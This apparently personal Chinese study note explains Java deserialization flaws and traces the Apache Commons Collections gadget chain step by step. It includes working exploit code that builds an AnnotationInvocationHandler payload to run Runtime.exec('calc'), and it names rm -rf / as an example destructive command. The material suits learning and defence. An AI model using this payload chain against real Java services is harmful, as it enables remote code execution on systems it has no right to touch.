Java反序列化漏洞

参考JAVA反序列化漏洞基础原理 - Atomovo - 博客园

1.什么是Java反序列化漏洞?

java反序列化漏洞是指攻击者通过精心构造的恶意序列化数据,在目标系统执行反序列化操作时触发恶意代码执行。这种漏洞利用了Java的ObjectInputStream机制,自动还原序列化数据的对象状态。

反序列化基本流程

反序列化是将序列化字节流还原为Java对象的操作。以下是一个典型示例:

1
2
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("object.ser"));
Object obj = ois.readObject(); // 潜在危险点:不可信数据可能触发恶意代码

如果攻击者控制object.ser的内容,并且系统中存在可被利用的“Gadget链”(利用链),反序列化过程可能导致远程代码执行(RCE)、文件操作或其他恶意行为。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
1. 执行核心代码:ois.readObject()

2. JVM 触发反序列化流程

3. JVM 创建 MyObject 类的空对象(此时对象字段都是默认值,比如 name=null)

4. JVM 通过反射机制检查 MyObject 类的结构

5. 关键判断:MyObject 中是否有「私有、无返回值、参数是 ObjectInputStream」的 readObject() 方法?
├─ 否(没有自定义):
│ ↓
│ 6. 执行默认反序列化逻辑:仅从字节流中读取数据,恢复对象字段(比如 name="hi")
│ ↓
│ 7. 反序列化完成,返回正常的 MyObject 对象
└─ 是(有自定义):

6. JVM 用反射突破 private 限制,强行调用这个自定义的 readObject() 方法

7. 执行 readObject() 第一行:in.defaultReadObject() → 恢复对象字段(name="hi")

8. 执行 readObject() 第二行:Runtime.getRuntime().exec("calc.exe") → 弹出计算器

9. 反序列化完成,返回 MyObject 对象

10. 程序继续执行后续代码(比如 System.out.println(objectFromDisk.name))

http://freebuf.com/articles/web/367585.html

RMI

RMI 全称是 Remote Method Invocation(远程方法调用),是 Java 原生提供的一套用于开发分布式应用的 API,你可以把它理解成:让一台机器上的 Java 程序,像调用本地方法一样,调用另一台机器上的 Java 程序的方法。

得注意的是,RMI 的传输 100% 基于反序列化,Java RMI 的默认端口是 1099 端口。

JVM

JVM 全称是 Java Virtual Machine(Java 虚拟机)你可以把它理解成:一台 “虚拟的计算机”,专门用来执行 Java 字节码程序。它是 Java 实现 “一次编写,到处运行” 核心特性的底层支撑

java反序列化漏洞成因

反序列化时会调用readObject()函数,如果重写了readObject函数,并且里面含有恶意代码,那么在反序列化时调用这个函数就会直接执行恶意代码。就像上面哪个流程图一样

Java 反序列化字节流时,会自动调用目标对象所属类的 readObject()方法,如果该类重写了 readObject()方法,且方法中包含危险逻辑(如执行系统命令、调用危险类),或通过该方法间接调用了其他类的危险方法(即 Gadget 链);

java反序列化分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import java.io.*;

class MyObject implements Serializable{
public String name;
//重写readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException, IOException {
//执行默认的readObject()方法
in.defaultReadObject();
//执行打开计算器程序命令
Runtime.getRuntime().exec("calc.exe");
}
}

public class testSerialize {
public static void main(String args[]) throws Exception{
//定义myObj对象
MyObject myObj = new MyObject();
myObj.name = "hi";
//创建一个包含对象进行反序列化信息的”object”数据文件
FileOutputStream fos = new FileOutputStream("oject");
ObjectOutputStream os = new ObjectOutputStream(fos);
//writeObject()方法将myObj对象写入object文件
os.writeObject(myObj);
os.close();
//从文件中反序列化obj对象
FileInputStream fis = new FileInputStream("object");
ObjectInputStream ois = new ObjectInputStream(fis);
//恢复对象
MyObject objectFromDisk = (MyObject)ois.readObject();
System.out.println(objectFromDisk.name);
ois.close();
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
1. 执行核心代码:ois.readObject()

2. JVM 触发反序列化流程

3. JVM 创建 MyObject 类的空对象(此时对象字段都是默认值,比如 name=null)

4. JVM 通过反射机制检查 MyObject 类的结构

5. 关键判断:MyObject 中是否有「私有、无返回值、参数是 ObjectInputStream」的 readObject() 方法?
├─ 否(没有自定义):
│ ↓
│ 6. 执行默认反序列化逻辑:仅从字节流中读取数据,恢复对象字段(比如 name="hi")
│ ↓
│ 7. 反序列化完成,返回正常的 MyObject 对象
└─ 是(有自定义):

6. JVM 用反射突破 private 限制,强行调用这个自定义的 readObject() 方法

7. 执行 readObject() 第一行:in.defaultReadObject() → 恢复对象字段(name="hi")

8. 执行 readObject() 第二行:Runtime.getRuntime().exec("calc.exe") → 弹出计算器

9. 反序列化完成,返回 MyObject 对象

10. 程序继续执行后续代码(比如 System.out.println(objectFromDisk.name))

首先我们定义了一个Myobject类并继承了Serializable接口,并且重写了readObject方法。我们知道在反序列化时会执行readObject方法。而我们在readObject()方法中写入了Runtime.getRuntime().exec(“calc.exe”),在反序列化时就会执行相应的命令。

当然实际情况肯定不会有开发人员这么写代码的,在实际情况中我们几乎没有遇到过这样写的,但是我们还可以通过其它方式去利用。如果readObject()中调用了其它类的方法,而其它类的方法使用了危险函数,那么是不是也可以进行利用。

那么,现在问题的关键就变成了找到一条这样的利用链。

接下来来看一个实际的例子, Apache-Commons-Collections反序列化漏洞。

Apache Commons Collections这是一个很常见的库:提供各种:Map增强,集合工具,转换器(Transformer),这其中最关键的接口就是Transformer

1
2
3
4
public interface Transformer {
Object transform(Object input);
}
//输入一个对象 → 处理 → 返回结果

危险点:InvokerTransformer(实现Transformer接口),它能用反射调用任意方法

1
InvokerTransformer
类 / 接口 核心作用
Transformer 接口 定义了 transform(Object input) 方法,用于对输入对象做 “转换” 操作
InvokerTransformer 实现 Transformer 接口,通过反射调用任意类的任意方法(漏洞核心)
ChainedTransformer 实现 Transformer 接口,把多个 Transformer 串联执行(拼接利用链)
TransformedMap 一个特殊的 Map,往 Map 中放 / 取数据时会触发指定的 Transformer 执行
AnnotationInvocationHandler JDK 内置类,其 readObject() 会调用 Map 的 entry.setValue() 方法(触发链的起点)

Method 类的 invoke() 方法是 Java 反射的最终执行入口

1
method.invoke
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public Object transform(Object input) {
// 1. 如果传入的对象是null,直接返回null(避免空指针)
if (input == null) {
return null;
}
try {
// 2. 返回该对象所属类的 运行时类对象,cls 最终指向 input 实际类型的 Class 对象
Class cls = input.getClass();
// 2. Class.getMethod是 java.lang.Class 提供的反射 API,作用是根据方法名和参数类型,获取当前类的公共(public)成员方法对应的 Method 对象。
Method method = cls.getMethod(iMethodName, iParamTypes);
//Method.invoke,在指定对象实例上执行当前 Method 对象对应的方法,并传入参数列表,返回方法执行结果。
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

上面的代码中可以看出,这里利用了反射机制,调用传入对象的任意方法。

简单介绍一下反射

反射 = 在运行时动态操作类(获取类、调用方法、修改属性)

  • Runtime 类的构造方法是私有的(单例模式),不能直接 new Runtime() 创建对象,必须通过 Runtime.getRuntime() 这个静态方法获取当前运行时环境的唯一实例。

最要代码在这里!

1
2
3
4
5
6
//步骤1:获取输入对象的Class对象,相当于是Runtime.getRuntime();cls = Runtime.class
Class cls = input.getClass();
//步骤2:通过Class对象,根据方法名+参数类型,获取对应的Method对象
Method method = cls.getMethod(iMethodName, iParamTypes);
步骤3:调用Method的invoke方法,根据输入对象和要调用方法的参数列表,执行目标方法
return method.invoke(input, iArgs);
  • Class 对象:每一个类(比如 UserStringArrayList),在程序运行时,JVM 都会为它创建一个唯一的 Class 对象,不管你创建多少个该类的对象(比如 User user1 = new User()User user2 = new User()),这些对象都共用同一个 Class 对象。

  • Method对象:Methodjava.lang.reflect 包下的类,每一个 Method 对象都唯一对应类中的一个具体方法,通过它你可以查看方法的元信息

  • Method对象的invoke方法:所有Method对象都有这个方法,invoke的作用是:触发Method对象所代表的那个具体方法的执行,并返回该方法的执行结果。Method对象->调用invoke方法->传入要执行方法的对象和参数列表->执行Method对象所代表的原类中的目标方法->返回原方法的执行结果

我的理解就是Java有一个机制,可以通过动态的Method对象找到它的原方法,借助Method对象的invoke方法,传入要执行方法的对象实例和方法入参去执行原类里面符合访问规则的任何方法

好了我们接着分析

上面的三个参数分别表示的意思是:

1
2
3
4
5
methodName:方法名

paramTypes: 参数类型

args:传入方法的参数值

如果想要直接调用上面的InvokerTransformer的transform方法进行命令执行,可以这样写:

1
2
3
Runtime runtime = Runtime.getRuntime();//runtime对象
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"});
invokerTransformer.transform(runtime);//调用transform方法,传入要执行方法的对象

这里还有一个问题就是如何获得Runtime.getRuntime()对象并把这个对象传入invokerTransformer.transform(runtime)方法中?

接下来又找到下面的两个类:ConstantTransformer类和ChainedTransformer类

先来看看ConstantTransformer类:

1
2
3
4
5
6
7
8
9
public class ConstantTransformer implements Transformer, Serializable {
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
}

从上面可以看出可以传入一个类实例化以后,调用transform方法,会直接返回传入的类。这个正好可以用来获得Runtime.getRuntime()类。

接下来再来看看另一个类ChainedTransformer:

1
2
3
4
5
6
7
8
9
10
11
12
//传入多个Transformer对象
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}

public Object transform(Object object) {
//遍历所有转换器,按顺序执行
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}

如果iTransformers为上面的InvokerTransformer对象,我们可以构造多个InvokerTransformer对象(注意这里的iTransformers是个数组),让这条语句通过反射来创建Runtime的实例:

我们现在可以构造这样的代码去执行命令:

1
2
3
4
5
6
7
8
9
10
Transformer[] transformers = new Transformer[] {
//Runtime.class.getMethod('getRuntime').invoke()
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" })
//获取java.lang.class
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform("123");

到这里,又发现一个问题,要让反序列化的时候能够执行,那么就需要找到这样一个类:这个类重写了readOjbect()函数,并且调用了ChainedTransformer类的transform()方法,只有这样才能在反序列化的时候自动执行我们的命令。

比较幸运的是,存在这样的类,它们就是TransformeMap和AnnotationInvocationHandler类。

在TransformeMap类中存在一个这样的方法:

1
2
3
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

如果valueTransformer为我们构造的ChainedTransformer对象,那么就可以满足上面的条件。

通过分析构造函数,我们发现这个值是可以直接构造的:

1
2
3
4
5
6
7
8
9
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

那么接下来的问题就变成,如何去调用checkSetValue()方法。继续跟进TransformeMap的父类AbstractInputCheckedMapDecorator,在里面有一个静态的内部类:

1
2
3
4
5
6
7
8
9
10
11
12
13
static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return super.entry.setValue(value);
}
}

这里的setValue方法调用了checkSetValue,如果this.parent指向我们前面构造的TransformeMap对象,那么这里就可以触发漏洞点。

到这里就可以进一步完善我们的调用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 1. 声明:定义一个名为transformers的数组,数组里只能存Transformer接口的实现类对象
Transformer[] transformers = new Transformer[] {
//Runtime.class.getMethod('getRuntime').invoke()
// 元素1:ConstantTransformer对象(实现了Transformer接口)
new ConstantTransformer(Runtime.class),
// 元素2:InvokerTransformer对象(实现了Transformer接口)
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
// 元素3:InvokerTransformer对象
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
// 元素4:InvokerTransformer对象
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" })
//获取java.lang.class
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("1", "1");
//构造TransformedMap对象,带入前面构造的transformerChain
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//返回Entry这个内部类
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();

onlyElement.setValue("123123");
  • Transformer[] 声明:这是一个「Transformer类型的数组」(数组里只能放Transformer接口的实现类对象,比如ConstantTransformer、InvokerTransformer)

到目前为止还是跟上面一样的问题,要是在反序列化的时候利用就必须在readObject()方法中,现在变成了找到一个这样的readObject()方法。

这里就需要用到AnnotationInvocationHandler这个类(JDK版本要小于1.7),该类重写了readObject方法,在该方法里面调用了map的setValue方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();


// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}

这里可以发现memberValues是一个map对象,并且是可以由我们直接传入参数的。

找到了这样的一个readObject()方法。到这里,就比较明显了。我们传入一个构造好的AnnotationInvocationHandler对象,目标对其进行反序列,便会造成任意代码执行。

最终的payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Transformer[] transformers = new Transformer[] {
//Runtime.class.getMethod('getRuntime').invoke()
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" })
//获取java.lang.class
};
Transformer transformerChain = new ChainedTransformer(transformers);
//transformerChain.transform("123");


Map innermap = new HashMap();
innermap.put("value", "value");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);

//通过反射获得AnnotationInvocationHandler类对象
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//通过反射获得cls的构造函数
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
//这里需要设置Accessible为true,否则序列化失败
ctor.setAccessible(true);
//通过newInstance()方法实例化对象

Object instance = ctor.newInstance(Retention.class, outmap);
return instance;

对上面的payload进行序列化,然后发送给反序列化的接口,就可以执行我们想要执行的命令。

最后再来总结一下利用链(来自ysoserial):

image-20260322145554121

1
2
3
4
5
6
7
8
9
10
11
graph LR
A[反序列化恶意数据] --> B[触发AnnotationInvocationHandler.readObject()]
B --> C[调用动态代理Map的entrySet()]
C --> D[触发AnnotationInvocationHandler.invoke()拦截]
D --> E[调用LazyMap.get()方法]
E --> F[执行ChainedTransformer.transform()]
F --> F1[ConstantTransformer: 返回Runtime.class]
F1 --> F2[InvokerTransformer: 反射调用Class.getMethod("getRuntime")]
F2 --> F3[InvokerTransformer: 反射调用Method.invoke() → 获取Runtime实例]
F3 --> F4[InvokerTransformer: 反射调用Runtime.exec("calc")]
F4 --> G[执行系统命令:打开计算器]

Gadget 是什么?

哪怕 readObject() 本身没有直接写恶意代码,只要它调用了其他类的方法(比如 Commons Collections 库中的 Transformer 类),攻击者也能通过构造恶意字节流,让这些被调用的类执行恶意逻辑 —— 这就是 “Gadget 链” 的核心,也是实际漏洞利用中最常见的场景。

想象你玩乐高积木,想拼出一个能“搞事情”的机关。Gadget(小工具) 就是一组被黑客精心挑选的“积木块”(Java 类和方法),当它们按特定顺序拼接起来时,就能在反序列化过程中触发恶意操作(比如执行命令、下载病毒)。

假设攻击者想通过反序列化让服务器执行 rm -rf /(删光所有文件),他需要找到以下“积木”:

  1. 起点积木:某个类的 readObject() 方法(反序列化时自动调用)。
  2. 中间积木:能传递恶意参数的其他类(比如修改某个配置参数)。
  3. 终点积木:最终触发命令执行的类(比如调用 Runtime.exec("rm -rf /"))。

这些积木连起来就是 Gadget 链

  • 关键特点

    依赖现有代码:Gadget 链中的类必须是目标应用中已有的(比如依赖的第三方库)。

    利用反射/特性:通过反射调用方法、修改私有字段等“非正常操作”拼接逻辑。

    环境敏感:不同 Java 版本、不同依赖库,可用的 Gadget 链可能不同。

  • 防御为何难?

    • Gadget 链千变万化:就像乐高有无数种拼法,开发者很难预测所有可能的恶意组合。
    • 黑名单防不住:总有新的“积木”被挖掘出来(比如某个冷门库的类突然被利用)。

image-20260321233630204

1
2
3
4
5
6
7
8
9
10
11
12
13
@Test
public static void test1(String[] args) {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"});
invokerTransformer.transform(runtime);
}
@Test
public void test2(String[] args) {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"});
TransformedSortedMap.decorate(null,null,invokerTransformer) ;
TransformedSortedMap.checkSetValue()

}

查找哪里用了transform方法

想办法控制keyTransformer,通过TransformedSortedMap.decorate

想直接执行方法但是,checkSetValue()是受保护的

还要继续找哪里使用了checkSetValue()

image-20260322000335368

要做好两件事

1.给valueTransformer赋值为InvokerTransformer

2.给AbstractInputCheckedMapDecorator$MapEntry.setValue传入对象Runtime.getRuntime()

然后就会执行InvokerTransformer对象的transform方法执行命令

调用MapEntry的时候就会调用checkSetValue

image-20260322001449142

很像设计模式里面的装饰器模式

设置一个map又返回一个map,这个map就是增强过的